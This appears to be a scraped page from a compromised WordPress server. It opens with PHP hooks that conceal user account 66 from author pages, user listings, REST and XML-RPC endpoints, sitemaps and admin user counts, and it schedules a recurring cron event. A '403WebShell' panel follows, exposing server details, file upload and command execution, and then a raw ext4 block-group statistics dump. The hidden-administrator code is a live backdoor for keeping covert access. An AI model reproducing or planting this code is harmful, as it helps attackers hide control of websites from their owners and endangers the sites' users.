add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/fs/ext4/sda1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/fs/ext4/sda1/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 1997  13    8561  [ 7     7     4     5     2     3     6     5     1     1     0     0     0     0     ]
#1    : 15616 557   549   [ 570   537   483   243   53    39    35    43    1     0     0     0     0     0     ]
#2    : 14726 281   0     [ 282   250   242   158   60    56    40    30    10    0     0     0     0     0     ]
#3    : 17605 285   558   [ 275   233   174   123   75    31    29    21    29    0     1     0     0     0     ]
#4    : 20807 466   0     [ 511   504   506   218   56    57    54    33    20    0     0     0     0     0     ]
#5    : 12429 479   532   [ 487   441   433   322   36    57    18    19    3     0     0     0     0     0     ]
#6    : 502   10    10    [ 8     11    8     7     2     1     1     0     1     0     0     0     0     0     ]
#7    : 7003  101   697   [ 85    59    56    50    16    31    7     5     15    0     0     0     0     0     ]
#8    : 12237 244   177   [ 179   145   156   147   75    48    43    17    9     0     0     0     0     0     ]
#9    : 2931  110   532   [ 95    88    77    64    31    14    8     3     0     0     0     0     0     0     ]
#10   : 864   108   2544  [ 80    68    32    23    7     3     2     0     0     0     0     0     0     0     ]
#11   : 7104  153   99    [ 132   108   69    62    38    26    9     9     11    0     0     0     0     0     ]
#12   : 11555 243   113   [ 237   205   193   187   66    37    22    17    11    0     0     0     0     0     ]
#13   : 10272 233   0     [ 198   167   129   85    88    43    32    17    6     0     0     0     0     0     ]
#14   : 3074  91    17976 [ 80    51    47    40    43    15    13    3     0     0     0     0     0     0     ]
#15   : 2320  50    16882 [ 32    30    17    14    8     6     7     6     2     0     0     0     0     0     ]
#16   : 16    3     8836  [ 2     1     1     1     0     0     0     0     0     0     0     0     0     0     ]
#17   : 8853  294   19    [ 243   179   141   87    29    20    14    9     15    0     0     0     0     0     ]
#18   : 17530 570   2048  [ 566   432   319   217   134   56    49    23    12    0     0     0     0     0     ]
#19   : 14033 475   0     [ 453   330   198   114   61    32    24    26    17    0     0     0     0     0     ]
#20   : 12024 461   17    [ 400   344   294   236   118   41    9     12    10    0     0     0     0     0     ]
#21   : 10519 274   0     [ 265   193   143   84    47    44    29    18    9     0     0     0     0     0     ]
#22   : 5581  79    62    [ 67    49    46    36    29    20    10    5     10    0     0     0     0     0     ]
#23   : 2830  33    127   [ 22    24    16    11    15    10    4     4     5     0     0     0     0     0     ]
#24   : 7224  135   1771  [ 120   76    48    41    36    19    6     12    13    0     0     0     0     0     ]
#25   : 7166  85    613   [ 76    63    53    48    34    28    15    7     12    0     0     0     0     0     ]
#26   : 9975  202   0     [ 179   132   91    52    47    30    18    18    14    0     0     0     0     0     ]
#27   : 3215  68    3071  [ 67    46    38    21    15    8     3     8     4     0     0     0     0     0     ]
#28   : 5946  113   0     [ 100   77    65    43    30    18    9     11    8     0     0     0     0     0     ]
#29   : 15640 311   1024  [ 266   201   157   105   64    64    39    22    20    0     0     0     0     0     ]
#30   : 1310  50    1378  [ 44    23    21    12    5     4     5     2     1     0     0     0     0     0     ]
#31   : 4461  124   4094  [ 119   73    65    48    16    17    7     8     5     0     0     0     0     0     ]
#32   : 331   5     1741  [ 1     1     2     2     3     0     0     0     1     0     0     0     0     0     ]
#33   : 13827 207   32    [ 189   135   104   89    87    59    18    33    14    0     0     0     0     0     ]
#34   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#35   : 2371  93    1     [ 83    56    40    30    15    8     8     6     0     0     0     0     0     0     ]
#36   : 10780 146   187   [ 144   106   110   78    67    39    18    12    17    0     0     0     0     0     ]
#37   : 4621  118   12479 [ 95    71    64    60    36    20    10    12    1     0     0     0     0     0     ]
#38   : 6540  225   1133  [ 174   133   123   87    51    24    22    9     3     0     0     0     0     0     ]
#39   : 6012  133   2143  [ 114   81    72    63    57    24    13    9     5     0     0     0     0     0     ]
#40   : 5278  203   357   [ 174   124   108   61    50    28    19    6     1     0     0     0     0     0     ]
#41   : 13843 563   24    [ 523   298   209   140   63    31    29    30    12    0     0     0     0     0     ]
#42   : 8852  221   102   [ 198   163   132   103   56    8     11    12    14    0     0     0     0     0     ]
#43   : 2793  146   511   [ 115   101   73    61    34    14    11    0     0     0     0     0     0     0     ]
#44   : 8060  144   256   [ 124   100   68    57    30    18    13    8     16    0     0     0     0     0     ]
#45   : 1460  81    231   [ 64    20    17    13    0     1     0     9     0     0     0     0     0     0     ]
#46   : 3024  123   4224  [ 112   48    42    29    43    22    14    1     0     0     0     0     0     0     ]
#47   : 3017  90    0     [ 77    64    47    36    16    3     5     7     3     0     0     0     0     0     ]
#48   : 2481  17    8164  [ 13    6     4     1     0     0     0     1     3     1     1     0     0     0     ]
#49   : 7043  342   629   [ 281   235   161   110   34    24    26    10    2     0     0     0     0     0     ]
#50   : 10064 233   2048  [ 218   79    34    38    26    28    20    20    16    0     0     0     0     0     ]
#51   : 14072 145   248   [ 134   103   55    43    41    33    29    23    26    0     0     0     0     0     ]
#52   : 7924  114   154   [ 106   91    77    70    47    22    31    16    5     0     0     0     0     0     ]
#53   : 8029  86    257   [ 75    73    74    71    30    14    16    17    11    0     0     0     0     0     ]
#54   : 14530 511   0     [ 502   334   206   101   57    32    25    28    18    0     0     0     0     0     ]
#55   : 10099 94    16    [ 79    62    48    49    52    31    29    18    13    0     0     0     0     0     ]
#56   : 17496 276   2625  [ 276   256   227   217   93    11    23    32    22    0     1     0     0     0     ]
#57   : 14559 264   201   [ 263   216   170   136   76    48    30    24    17    0     0     0     0     0     ]
#58   : 6692  299   2415  [ 166   149   51    127   115   33    19    7     0     0     0     0     0     0     ]
#59   : 12627 119   18    [ 111   90    90    83    35    12    38    30    16    0     0     0     0     0     ]
#60   : 14838 131   111   [ 114   88    71    69    61    44    33    18    27    0     0     0     0     0     ]
#61   : 13033 188   5489  [ 165   112   95    91    69    36    35    27    14    0     0     0     0     0     ]
#62   : 8700  74    2048  [ 50    47    45    45    51    27    25    19    9     0     0     0     0     0     ]
#63   : 13114 91    2174  [ 88    65    62    69    58    41    32    27    17    0     0     0     0     0     ]
#64   : 4817  30    8083  [ 17    12    6     2     2     1     1     0     6     2     0     1     0     0     ]
#65   : 3611  152   82    [ 141   81    77    53    13    14    4     7     3     0     0     0     0     0     ]
#66   : 17111 61    397   [ 55    28    16    23    19    20    13    7     3     2     0     0     1     1     ]
#67   : 19487 114   0     [ 93    77    82    72    76    61    45    32    32    0     0     0     0     0     ]
#68   : 14709 115   0     [ 109   80    62    62    52    42    30    35    20    0     0     0     0     0     ]
#69   : 7349  87    0     [ 79    37    31    26    19    15    13    15    13    0     0     0     0     0     ]
#70   : 9242  258   2048  [ 210   156   152   130   106   34    17    1     12    0     0     0     0     0     ]
#71   : 4798  133   61    [ 82    80    75    88    60    13    6     10    2     0     0     0     0     0     ]
#72   : 12963 234   2080  [ 231   86    60    54    39    32    28    22    22    0     0     0     0     0     ]
#73   : 18759 121   2066  [ 99    84    79    68    58    46    42    42    28    0     0     0     0     0     ]
#74   : 18296 196   109   [ 176   152   126   102   83    56    41    24    30    0     0     0     0     0     ]
#75   : 858   53    20480 [ 52    13    1     1     0     2     1     1     2     0     0     0     0     0     ]
#76   : 17215 164   271   [ 147   118   102   91    61    52    38    31    26    0     0     0     0     0     ]
#77   : 12328 82    0     [ 70    49    42    41    43    33    27    14    25    0     0     0     0     0     ]
#78   : 17051 191   97    [ 175   98    98    74    61    58    29    26    30    0     0     0     0     0     ]
#79   : 13537 176   82    [ 153   122   117   98    91    70    40    16    14    0     0     0     0     0     ]
#80   : 0     0     9642  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#81   : 701   46    1012  [ 27    33    12    18    2     0     0     1     1     0     0     0     0     0     ]
#82   : 8687  195   0     [ 185   77    45    39    25    23    15    17    14    0     0     0     0     0     ]
#83   : 18124 306   0     [ 272   178   118   100   94    56    40    35    23    0     0     0     0     0     ]
#84   : 1818  25    904   [ 18    16    14    10    6     4     4     5     2     0     0     0     0     0     ]
#85   : 2799  73    10367 [ 39    70    43    16    11    5     7     4     4     0     0     0     0     0     ]
#86   : 1567  62    2277  [ 53    53    50    47    16    10    4     0     0     0     0     0     0     0     ]
#87   : 7950  125   5632  [ 116   77    66    61    45    20    11    6     16    0     0     0     0     0     ]
#88   : 11707 403   0     [ 391   268   165   103   53    36    24    15    15    0     0     0     0     0     ]
#89   : 7469  99    142   [ 89    88    71    51    35    28    17    11    10    0     0     0     0     0     ]
#90   : 7667  100   3811  [ 91    84    78    35    26    24    18    17    9     0     0     0     0     0     ]
#91   : 18033 231   2048  [ 221   150   136   117   88    61    40    33    23    0     0     0     0     0     ]
#92   : 8133  63    0     [ 43    29    34    27    20    20    19    13    15    0     0     0     0     0     ]
#93   : 16722 168   1024  [ 164   113   89    71    67    46    45    24    27    0     0     0     0     0     ]
#94   : 13482 125   278   [ 106   86    81    64    59    59    31    23    18    0     0     0     0     0     ]
#95   : 7888  108   244   [ 96    74    57    53    45    34    19    7     12    0     0     0     0     0     ]
#96   : 4610  16    9408  [ 8     11    9     6     7     13    6     4     2     1     0     1     0     0     ]
#97   : 13433 105   0     [ 99    65    47    51    38    33    23    18    28    0     0     0     0     0     ]
#98   : 5216  113   499   [ 98    65    53    39    25    17    11    10    6     0     0     0     0     0     ]
#99   : 13736 88    2048  [ 64    46    49    53    44    51    28    25    22    0     0     0     0     0     ]
#100  : 10032 102   112   [ 78    77    60    55    48    29    24    16    15    0     0     0     0     0     ]
#101  : 10086 90    2367  [ 66    58    48    36    53    26    29    20    13    0     0     0     0     0     ]
#102  : 86    10    26104 [ 0     1     3     5     2     0     0     0     0     0     0     0     0     0     ]
#103  : 84    10    30712 [ 2     1     8     4     1     0     0     0     0     0     0     0     0     0     ]
#104  : 32    1     28640 [ 0     0     0     0     0     1     0     0     0     0     0     0     0     0     ]
#105  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#106  : 3     1     3591  [ 1     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#107  : 0     0     29184 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#108  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#109  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#110  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#111  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#112  : 0     0     16384 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#113  : 769   40    0     [ 25    28    18    13    4     0     1     1     1     0     0     0     0     0     ]
#114  : 9085  74    5090  [ 71    53    51    46    27    27    18    14    16    0     0     0     0     0     ]
#115  : 2225  48    152   [ 39    23    25    9     5     5     1     5     4     0     0     0     0     0     ]
#116  : 10904 189   178   [ 150   111   107   93    77    42    16    19    13    0     0     0     0     0     ]
#117  : 14035 98    0     [ 81    79    59    51    50    36    33    25    23    0     0     0     0     0     ]
#118  : 8728  61    1216  [ 52    36    37    35    23    24    24    15    14    0     0     0     0     0     ]
#119  : 5940  44    177   [ 28    32    36    29    18    20    15    10    9     0     0     0     0     0     ]
#120  : 4058  58    0     [ 46    46    36    42    21    11    5     7     6     0     0     0     0     0     ]
#121  : 4552  52    1279  [ 46    35    25    18    20    11    9     11    6     0     0     0     0     0     ]
#122  : 28    3     24023 [ 2     1     0     1     1     0     0     0     0     0     0     0     0     0     ]
#123  : 1603  76    6741  [ 77    39    24    11    3     4     1     4     2     0     0     0     0     0     ]
#124  : 160   10    15600 [ 4     2     2     4     5     1     0     0     0     0     0     0     0     0     ]
#125  : 96    6     560   [ 0     0     0     2     5     0     0     0     0     0     0     0     0     0     ]
#126  : 28    3     1136  [ 0     0     1     1     1     0     0     0     0     0     0     0     0     0     ]
#127  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#128  : 8671  243   8384  [ 221   61    24    13    12    4     2     6     1     3     1     0     1     0     ]
#129  : 5409  261   1013  [ 219   171   134   81    41    14    6     7     5     0     0     0     0     0     ]
#130  : 15376 99    0     [ 82    79    74    67    54    50    43    25    23    0     0     0     0     0     ]
#131  : 12633 239   0     [ 203   97    43    44    34    31    21    19    25    0     0     0     0     0     ]
#132  : 13897 91    172   [ 77    66    60    61    46    34    32    29    21    0     0     0     0     0     ]
#133  : 9892  112   0     [ 100   66    63    62    65    40    19    18    12    0     0     0     0     0     ]
#134  : 15056 114   0     [ 94    79    71    59    58    56    41    24    22    0     0     0     0     0     ]
#135  : 15117 695   4096  [ 699   575   399   213   85    41    28    25    9     0     0     0     0     0     ]
#136  : 18036 192   83    [ 178   121   80    80    57    44    42    39    26    0     0     0     0     0     ]
#137  : 7886  67    485   [ 50    40    33    23    19    21    19    15    13    0     0     0     0     0     ]
#138  : 13900 141   7064  [ 126   81    73    65    58    41    37    28    18    0     0     0     0     0     ]
#139  : 11719 282   22    [ 263   156   106   100   34    25    22    24    16    0     0     0     0     0     ]
#140  : 12685 189   0     [ 167   83    74    63    40    29    32    22    20    0     0     0     0     0     ]
#141  : 7880  45    1648  [ 30    27    27    27    27    22    19    14    13    0     0     0     0     0     ]
#142  : 23137 72    0     [ 63    59    53    53    19    18    7     14    5     7     2     2     2     0     ]
#143  : 10323 175   2127  [ 143   144   125   136   45    25    14    20    13    0     0     0     0     0     ]
#144  : 7936  58    8490  [ 38    35    19    13    10    6     4     3     2     0     2     0     1     0     ]
#145  : 15578 298   32    [ 268   173   143   97    63    40    35    31    20    0     0     0     0     0     ]
#146  : 13294 123   166   [ 116   105   80    87    45    19    38    26    19    0     0     0     0     0     ]
#147  : 15692 138   4157  [ 94    37    57    58    63    48    28    30    26    0     0     0     0     0     ]
#148  : 9660  133   513   [ 118   75    58    49    30    23    24    15    16    0     0     0     0     0     ]
#149  : 20082 201   0     [ 190   140   113   101   81    67    53    36    27    0     0     0     0     0     ]
#150  : 11835 154   80    [ 131   82    57    60    59    49    30    14    18    0     0     0     0     0     ]
#151  : 4328  124   562   [ 70    73    78    93    41    7     4     5     5     0     0     0     0     0     ]
#152  : 15987 532   16    [ 505   285   230   213   150   57    22    18    17    0     0     0     0     0     ]
#153  : 7438  58    2048  [ 44    39    37    36    28    25    16    16    10    0     0     0     0     0     ]
#154  : 10412 109   0     [ 86    87    72    61    58    44    32    25    7     0     0     0     0     0     ]
#155  : 12391 76    2048  [ 69    43    41    41    40    31    24    23    18    0     1     0     0     0     ]
#156  : 13331 63    15    [ 41    33    34    30    25    17    22    12    7     0     1     1     1     0     ]
#157  : 11296 59    3     [ 54    37    38    41    36    28    22    21    20    0     0     0     0     0     ]
#158  : 9462  65    1106  [ 54    50    41    39    30    13    8     10    8     0     0     0     1     0     ]
#159  : 12598 67    748   [ 56    47    36    40    39    33    23    23    23    0     0     0     0     0     ]
#160  : 6579  30    18688 [ 15    12    7     6     6     5     5     8     1     1     2     1     0     0     ]
#161  : 13249 264   62    [ 231   171   121   72    32    23    22    22    24    0     0     0     0     0     ]
#162  : 17222 143   2175  [ 120   105   91    78    52    47    38    31    28    0     0     0     0     0     ]
#163  : 7093  49    130   [ 47    41    37    24    28    25    16    6     14    0     0     0     0     0     ]
#164  : 18587 107   512   [ 89    69    54    58    61    48    47    39    28    0     0     0     0     0     ]
#165  : 7242  42    695   [ 28    25    27    30    22    18    16    16    11    0     0     0     0     0     ]
#166  : 21860 154   0     [ 114   109   94    100   74    49    47    40    37    0     0     0     0     0     ]
#167  : 12615 55    4096  [ 43    52    39    41    37    34    33    18    23    0     0     0     0     0     ]
#168  : 6261  126   202   [ 87    73    65    51    43    28    31    6     4     0     0     0     0     0     ]
#169  : 12646 209   31    [ 130   142   130   124   84    15    11    10    11    0     0     0     1     0     ]
#170  : 10204 381   74    [ 352   190   114   71    30    33    28    16    12    0     0     0     0     0     ]
#171  : 12678 73    6351  [ 52    49    38    39    44    29    35    20    22    0     0     0     0     0     ]
#172  : 18708 229   667   [ 112   138   150   187   76    9     8     9     9     3     1     2     1     0     ]
#173  : 30128 106   41    [ 104   104   106   104   9     0     2     1     2     0     1     1     0     3     ]
#174  : 7121  84    0     [ 71    35    43    27    28    18    17    17    9     0     0     0     0     0     ]
#175  : 12236 111   148   [ 70    67    90    79    16    1     0     0     0     3     1     0     0     1     ]
#176  : 13059 111   8796  [ 87    40    29    19    11    11    7     5     7     4     1     1     1     0     ]
#177  : 3361  96    2513  [ 71    69    60    44    18    19    10    2     3     0     0     0     0     0     ]
#178  : 18340 226   0     [ 206   155   126   133   72    68    48    35    21    0     0     0     0     0     ]
#179  : 13403 31    633   [ 17    11    17    14    12    8     11    8     1     1     0     1     0     1     ]
#180  : 16241 385   14    [ 381   358   342   334   84    1     2     3     36    0     0     0     0     0     ]
#181  : 15545 620   0     [ 617   426   261   153   58    32    28    23    20    0     0     0     0     0     ]
#182  : 21650 1348  0     [ 1338  1172  836   436   112   36    30    21    14    0     0     0     0     0     ]
#183  : 12719 145   0     [ 135   84    74    53    51    34    25    16    24    0     0     0     0     0     ]
#184  : 15195 470   0     [ 465   233   214   176   118   28    14    13    6     0     1     0     1     0     ]
#185  : 12226 137   85    [ 94    72    65    80    53    22    19    15    21    0     1     0     0     0     ]
#186  : 16119 457   0     [ 443   242   164   133   98    38    33    25    21    0     0     0     0     0     ]
#187  : 18525 203   0     [ 187   127   113   94    71    58    53    38    22    0     0     0     0     0     ]
#188  : 12702 74    2056  [ 66    48    41    47    36    33    32    21    22    0     0     0     0     0     ]
#189  : 11507 214   512   [ 205   103   68    41    38    31    25    19    19    0     0     0     0     0     ]
#190  : 3151  16    24576 [ 13    11    11    12    10    8     10    7     4     0     0     0     0     0     ]
#191  : 4599  449   127   [ 419   264   145   90    61    25    5     2     0     0     0     0     0     0     ]
#192  : 13458 45    14592 [ 38    26    24    11    16    8     10    6     4     4     4     2     0     0     ]
#193  : 2473  101   1788  [ 95    39    23    12    6     3     4     3     5     0     0     0     0     0     ]
#194  : 6799  100   2182  [ 95    66    57    49    34    17    14    7     12    0     0     0     0     0     ]
#195  : 14710 94    0     [ 76    61    60    50    51    36    30    28    25    0     0     0     0     0     ]
#196  : 26934 86    0     [ 46    46    39    62    22    10    6     8     2     0     1     3     2     1     ]
#197  : 14742 1125  0     [ 1054  526   285   167   85    35    22    13    14    0     1     0     0     0     ]
#198  : 10148 114   4096  [ 112   78    68    57    46    31    26    23    11    0     0     0     0     0     ]
#199  : 11123 34    2056  [ 39    14    18    25    22    8     9     7     0     1     0     0     0     1     ]
#200  : 10043 47    2048  [ 35    18    13    20    24    19    17    14    7     4     2     0     0     0     ]
#201  : 29129 166   17    [ 171   85    55    49    43    23    16    9     16    8     4     2     0     1     ]
#202  : 7493  526   2048  [ 481   358   228   127   77    8     7     5     5     1     0     0     0     0     ]
#203  : 22516 45    416   [ 32    20    21    21    19    12    16    12    4     1     1     2     1     1     ]
#204  : 10388 73    0     [ 62    43    40    34    35    29    24    15    11    0     2     0     0     0     ]
#205  : 8192  47    17    [ 30    31    31    31    25    15    21    21    11    0     0     0     0     0     ]
#206  : 15362 290   0     [ 272   143   105   70    48    44    34    28    23    0     0     0     0     0     ]
#207  : 16107 313   42    [ 259   172   98    93    76    27    22    35    25    0     0     0     0     0     ]
#208  : 12356 28    8704  [ 22    7     0     0     0     3     5     3     1     0     1     1     0     1     ]
#209  : 11480 173   765   [ 136   112   76    68    34    34    13    21    20    0     0     0     0     0     ]
#210  : 13490 171   0     [ 128   103   81    74    63    57    35    10    23    0     0     0     0     0     ]
#211  : 11653 143   0     [ 137   108   89    68    58    46    29    16    16    0     0     0     0     0     ]
#212  : 9930  541   0     [ 532   363   272   126   65    23    25    11    7     0     0     0     0     0     ]
#213  : 12384 89    0     [ 76    58    40    36    44    35    25    19    23    0     0     0     0     0     ]
#214  : 5302  46    21    [ 30    20    28    26    23    12    9     6     11    0     0     0     0     0     ]
#215  : 7281  90    0     [ 69    64    63    52    37    20    13    12    5     1     1     0     0     0     ]
#216  : 15277 77    0     [ 47    41    37    55    44    35    9     9     3     0     0     1     0     1     ]
#217  : 19551 62    354   [ 45    43    39    44    22    16    12    9     1     3     2     0     1     1     ]
#218  : 9511  65    1536  [ 51    54    48    53    22    8     17    17    19    0     0     0     0     0     ]
#219  : 10172 65    1012  [ 48    36    37    40    39    28    26    22    14    0     0     0     0     0     ]
#220  : 10572 51    1536  [ 36    24    28    25    28    22    29    20    18    0     0     0     0     0     ]
#221  : 10843 93    2048  [ 75    70    55    55    33    21    15    15    15    0     2     0     0     0     ]
#222  : 4748  43    921   [ 34    33    36    35    12    4     5     6     1     1     2     0     0     0     ]
#223  : 15216 109   0     [ 100   84    75    59    60    55    41    25    22    0     0     0     0     0     ]
#224  : 21155 536   8016  [ 525   179   78    29    9     2     3     1     1     1     0     1     0     2     ]
#225  : 14872 388   2052  [ 372   116   73    57    45    34    27    24    27    0     0     0     0     0     ]
#226  : 21303 131   2213  [ 123   94    74    67    64    46    56    32    39    0     0     0     0     0     ]
#227  : 16253 524   2048  [ 511   151   128   88    89    56    40    22    22    0     0     0     0     0     ]
#228  : 5873  54    5008  [ 51    25    25    21    22    13    10    10    11    0     0     0     0     0     ]
#229  : 17393 113   31    [ 105   72    68    63    49    47    38    33    29    0     0     0     0     0     ]
#230  : 11668 90    4096  [ 74    57    50    42    34    37    24    16    22    0     0     0     0     0     ]
#231  : 11540 96    121   [ 90    81    80    89    37    10    12    21    23    0     0     0     0     0     ]
#232  : 6927  78    1670  [ 59    54    38    38    32    25    16    11    10    0     0     0     0     0     ]
#233  : 7734  281   2065  [ 254   154   91    65    39    23    7     11    12    0     0     0     0     0     ]
#234  : 11822 100   7260  [ 60    59    69    59    41    18    15    16    6     4     3     0     0     0     ]
#235  : 12770 77    413   [ 58    52    56    48    38    42    33    18    22    0     0     0     0     0     ]
#236  : 9650  56    0     [ 48    37    40    37    35    30    24    19    14    0     0     0     0     0     ]
#237  : 14636 156   0     [ 130   85    66    57    49    39    37    32    20    0     0     0     0     0     ]
#238  : 10446 188   1536  [ 168   65    45    30    34    27    24    19    17    0     0     0     0     0     ]
#239  : 14977 150   522   [ 131   71    56    42    60    42    37    30    22    0     0     0     0     0     ]
#240  : 9302  15    8028  [ 16    11    8     14    14    8     5     5     6     2     3     1     0     0     ]
#241  : 4975  56    1045  [ 45    25    22    29    21    16    10    10    7     0     0     0     0     0     ]
#242  : 15254 42    475   [ 42    18    18    22    25    16    11    4     0     1     0     0     1     1     ]
#243  : 15909 26    3776  [ 19    7     9     12    10    17    13    7     6     1     3     0     0     1     ]
#244  : 11971 152   168   [ 107   90    89    108   64    35    42    18    13    0     0     0     0     0     ]
#245  : 9479  56    3984  [ 39    38    41    34    32    29    25    16    15    0     0     0     0     0     ]
#246  : 9246  12    4095  [ 6     10    9     4     4     8     6     4     3     0     1     1     1     0     ]
#247  : 7356  62    942   [ 50    39    27    26    26    21    21    15    10    0     0     0     0     0     ]
#248  : 2456  52    2048  [ 42    25    25    23    16    7     7     7     1     0     0     0     0     0     ]
#249  : 5363  37    470   [ 23    22    20    20    20    18    11    7     4     3     0     0     0     0     ]
#250  : 22783 72    0     [ 63    64    60    50    18    5     8     8     10    2     0     2     1     1     ]
#251  : 16833 58    2048  [ 45    48    37    36    32    40    20    15    14    1     1     1     1     0     ]
#252  : 7749  64    1272  [ 57    44    43    43    25    21    12    7     17    0     0     0     0     0     ]
#253  : 16506 48    636   [ 32    31    35    26    22    19    16    20    17    4     5     0     0     0     ]
#254  : 9989  77    64    [ 61    54    55    58    33    21    10    5     10    2     3     0     0     0     ]
#255  : 10064 132   256   [ 110   83    71    80    58    40    18    15    14    0     0     0     0     0     ]
#256  : 14264 6     8027  [ 6     5     8     5     4     7     3     7     2     4     2     2     1     0     ]
#257  : 32768 1     0     [ 0     0     0     0     0     0     0     0     0     0     0     0     0     4     ]
#258  : 6345  158   3072  [ 155   81    37    33    27    22    16    11    8     0     0     0     0     0     ]
